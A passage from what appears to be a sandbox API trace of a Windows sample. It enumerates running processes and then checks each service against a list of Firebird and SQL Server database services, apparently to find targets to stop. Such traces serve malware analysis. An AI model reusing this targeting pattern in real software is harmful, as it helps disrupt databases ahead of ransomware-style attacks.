pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.352] lstrlenW (lpString="svchost.exe") returned 11 [0204.352] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.352] lstrlenW (lpString="svchost.exe") returned 11 [0204.352] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.353] lstrlenW (lpString="svchost.exe") returned 11 [0204.353] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.354] lstrlenW (lpString="audiodg.exe") returned 11 [0204.354] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.354] lstrlenW (lpString="svchost.exe") returned 11 [0204.354] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.355] lstrlenW (lpString="svchost.exe") returned 11 [0204.355] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.370] lstrlenW (lpString="dwm.exe") returned 7 [0204.370] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.380] lstrlenW (lpString="explorer.exe") returned 12 [0204.380] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.413] lstrlenW (lpString="spoolsv.exe") returned 11 [0204.413] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.413] lstrlenW (lpString="taskhost.exe") returned 12 [0204.413] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.414] lstrlenW (lpString="svchost.exe") returned 11 [0204.414] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0204.415] lstrlenW (lpString="taskeng.exe") returned 11 [0204.415] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0204.415] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0204.415] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0204.416] lstrlenW (lpString="nova.exe") returned 8 [0204.416] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0204.416] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0204.416] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0204.417] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0204.417] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0204.417] lstrlenW (lpString="picks blair.exe") returned 15 [0204.417] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0204.418] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0204.418] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0204.419] lstrlenW (lpString="principal.exe") returned 13 [0204.419] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0204.419] lstrlenW (lpString="transportation.exe") returned 18 [0204.419] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0204.420] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0204.420] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0204.420] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0204.420] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0204.421] lstrlenW (lpString="planned.exe") returned 11 [0204.421] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0204.421] lstrlenW (lpString="springer andrew.exe") returned 19 [0204.421] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0204.422] lstrlenW (lpString="cakes import.exe") returned 16 [0204.422] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0204.423] lstrlenW (lpString="theory.exe") returned 10 [0204.423] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0204.550] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0204.550] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0204.551] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0204.551] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0204.552] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0204.552] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0204.552] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0204.552] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0204.553] lstrlenW (lpString="indicescancellation.exe") returned 23 [0204.553] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0204.554] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0204.554] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0204.554] lstrlenW (lpString="desk.exe") returned 8 [0204.554] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.555] lstrlenW (lpString="svchost.exe") returned 11 [0204.555] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0204.555] lstrlenW (lpString="sppsvc.exe") returned 10 [0204.555] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.565] lstrlenW (lpString="svchost.exe") returned 11 [0204.566] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.566] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.566] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0204.567] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0204.567] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0204.567] lstrlenW (lpString="winhost.exe") returned 11 [0204.567] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.568] lstrlenW (lpString="cmd.exe") returned 7 [0204.568] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.568] lstrlenW (lpString="conhost.exe") returned 11 [0204.569] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0204.569] lstrlenW (lpString="mode.com") returned 8 [0204.569] Process32NextW (in: hSnapshot=0x18c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0204.570] CloseHandle (hObject=0x18c) returned 1 [0204.570] Sleep (dwMilliseconds=0x1f4) [0205.156] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63feb0 [0205.157] EnumServicesStatusExW (in: hSCManager=0x63feb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0205.157] GetLastError () returned 0xea [0205.157] EnumServicesStatusExW (in: hSCManager=0x63feb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a06440, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a06440, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0205.157] CloseServiceHandle (hSCObject=0x63feb0) returned 1 [0205.157] lstrlenW (lpString="Appinfo") returned 7 [0205.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0205.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0205.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0205.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0205.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0205.157] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0205.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0205.157] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0205.157] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0205.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0205.157] lstrlenW (lpString="AudioSrv") returned 8 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0205.158] lstrlenW (lpString="BFE") returned 3 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0205.158] lstrlenW (lpString="CryptSvc") returned 8 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0205.158] lstrlenW (lpString="CscService") returned 10 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0205.158] lstrlenW (lpString="DcomLaunch") returned 10 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0205.158] lstrlenW (lpString="Dhcp") returned 4 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0205.158] lstrlenW (lpString="Dnscache") returned 8 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0205.158] lstrlenW (lpString="DPS") returned 3 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0205.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0205.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0205.158] lstrlenW (lpString="eventlog") returned 8 [0205.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0205.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0205.158] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0205.159] lstrlenW (lpString="EventSystem") returned 11 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.159] lstrlenW (lpString="FontCache") returned 9 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0205.159] lstrlenW (lpString="gpsvc") returned 5 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.159] lstrlenW (lpString="iphlpsvc") returned 8 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0205.159] lstrlenW (lpString="LanmanServer") returned 12 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0205.159] lstrlenW (lpString="LanmanWorkstation") returned 17 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0205.159] lstrlenW (lpString="lmhosts") returned 7 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.159] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.159] lstrlenW (lpString="MMCSS") returned 5 [0205.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0205.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0205.159] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0205.160] lstrlenW (lpString="MpsSvc") returned 6 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0205.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0205.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0205.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0205.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0205.160] lstrlenW (lpString="Netman") returned 6 [0205.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0205.160] lstrcmpiW 